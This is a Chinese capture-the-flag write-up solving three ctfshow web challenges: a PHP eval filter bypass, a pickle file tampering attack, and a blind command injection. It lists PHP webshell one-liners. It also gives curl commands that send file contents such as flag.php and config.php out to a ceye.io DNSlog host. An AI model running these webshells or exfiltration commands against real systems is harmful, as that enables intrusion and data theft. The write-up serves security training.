做了三道题。第五题看不懂,第二题一直打不开。平台老崩。;-)

easy_eval

<?php

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);

?>

代码清晰简单,就是一个代码执行函数eval,但是这里存在一个过滤。

str_replace("?", "", $code); 

只要我们传入的内容存在问号?都会被替换为空。注意这个函数,如果是在sql注入内的话,我们可以通过双写绕过。

image-20221006195104034

image-20221006195139640

这里像这样单个字符是会被全部过滤掉的。

所以这里的话我们考虑的话就是要不存在问号的内容。我们其实可以知道php的一句话木马有几种常用的方式

<?php eval($_POST['cmd']);?>  //最常见的
<?=eval($_POST['cmd']);?> //短标签
<script language='PHP'>eval($_POST['cmd']);</script> //script标签

在这里可以发现通过script标签的php代码是不需要问号的。所以这里我们传入这样的内容进行RCE

code=<script language='PHP'>eval($_POST["cmd"]);</script>&cmd=system('ls');

image-20221006195806008

baby_pickle

看名字就知道了,python的反序列化。但是这题也不是常规的pickle反序列化。我们通过附件可以下载到源代码

# Author:
# Achilles
# Time:
# 2022-9-20
# For:
# ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id


# 1.默认路由 设定了一个全局的id变量 访问一次id会加1
@app.route("/")
def agent_show():
global id
id = id + 1

# 接收name参数
if request.args.get("name"):
name = request.args.get("name")
# 默认为new_rookie
else:
name = "new_rookie"

# 实例化rookie类
new_rookie = Rookie(name, id)
try:
# 生成一个文件 文件名由我们传入的name决定拼接_info 写入Rookie类序列化的内容
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"

# 这里读取文件内容进行一个反序列化
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)

message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message


# 这个路由也是接收我们传入的name参数 可以去读取一个文件的内容并且进行反序列化 如果id为0那么给flag
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
print(f)
user = pickle.load(f)

if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message

# 这个路由提供了一个修改文件内容的操作 传入的参数需要进行base64编码
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))

file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)

代码逻辑比较简单。三个路由。默认路由可以传入一个name值生成相对应的文件。首次访问默认生成一个new_rookie_info的内容。在本地测试即可看到文件内容。

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vnew_rookie
sVid
I2
sb.

我们传入自定义name 比如我传入?name=xiaoqiuxx

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx # 这里名字换成了我们传入的name
sVid
I4
sb.

这里我们可以控制name但是不能对id进行控制。但是我们id为0的时候才能拿到flag。那么这里我们把目光放到第三个路由上。这个路由提供了一个修改内容的操作。

info = info.replace(name, newname)  

这里我们可以传入两个参数一个是name 一个是newname。

可以把序列化中name值替换成newname值。那么这里就好办了。我们只需要传入特定值覆盖原来的值即可完成修改的操作

NtR(dVname
Vxiaoqiuxx
sVid
I4
sb.

这里只需要传入

xiaoqiuxx
sVid #id属性
I0 #int 0
sb.

pickle反序列化以点结尾。所以我们传入上面的内容之后,就会变成

ccopy_reg
_reconstructor
(c__main__
Rookie
c__builtin__
object
NtR(dVname
Vxiaoqiuxx
sVid
I0
sb. #这里就表示结尾了 后面的内容丢弃。
sVid
I4
sb.

然后我们将内容进行base64编码

image-20221006202236224

image-20221006201953064

步骤

1、首先带参数访问一下默认路由

image-20221006202113265

2、然后拿到我们上面编码的内容访问change路由

image-20221006202321292

3、最后带参访问daicaiji路由

image-20221006202401057

repairman

进来观察url修改mode为0发现代码。

<?php
error_reporting(0);
session_start();
//这里设置config数组的secret的值为一个空数组 本地调试可以发现默认值为Array
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
# 通过cookie接收参数
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}

# 接收请求的url
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}

function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
# 命令执行 但是无回显
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}

if($mode == '0'){
//echo var_dump($GLOBALS);
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
# 如果我们传入的值等于token的md5值那么这里会给我们覆盖一个新值。这里必定进入switch的第二个分支
# 第二个分支中存在过滤。 无法使用。


switch ($secret){
//需要进入这个分支 但是无回显
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
//这里除了字母和数字都被替换 无法使用
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}

进行代码审计 使用cookie传入secret参数 通过对secret参数的MD5比较可以进行命令执行 。

我们可以发现这里我们一定要进入switch的第一个分支。可以发现这里和上面if是同级。就算上面if为false我们也可以进入这里swicth语句。所以我们只要传入值等于

md5('admin'.$config['secret']);

即可进行命令执行。上面说过这里$config['secret']其实默认值就是Array

所以这里我们传入的md5就是

echo md5("adminArray");
// da53eb34c1bc6ce7bbfcedf200148106

然后这里因为使用 exec函数是不会回显内容的。所以我们需要进行一个DNSlog外带。(尝试了shell反弹但是失败了 目前不太清楚原因)

使用 http://ceye.io

注册绑定手机号之后可以在个人页面拿到一个域名 之后使用时需要替换成自己分配到的域名。

image-20221006203658495

image-20221006203754966

在这可以看到使用姿势。

image-20221006204121520

image-20221006204135221

在平台即可看到回显的结果。 有时候可能较慢,耐心等待。

参考这篇文章payload

RCE之执行无回显 - undefined (lmcmc.github.io)

cmd=curl http://98c2l7.ceye.io/`ls`
cmd=curl http://98c2l7.ceye.io/`cat flag.php`
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p'` 使用sed命令查看flag.php文件第二行的内容
cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p' | base64` 空格不能被带出时使用base64进行编码
cmd=curl http://98c2l7.ceye.io/`ls -al| cut -c 3-10` 若长度太大,可以使用cut来分割字符(第一个字符下标为1)

这题flag在config.php的第三行

image-20221006204433385

cmd=curl http://mzodiy.ceye.io/`cat config.php | sed -n '3p' | base64`

image-20221006204501839

image-20221006204515879

解码即是flag。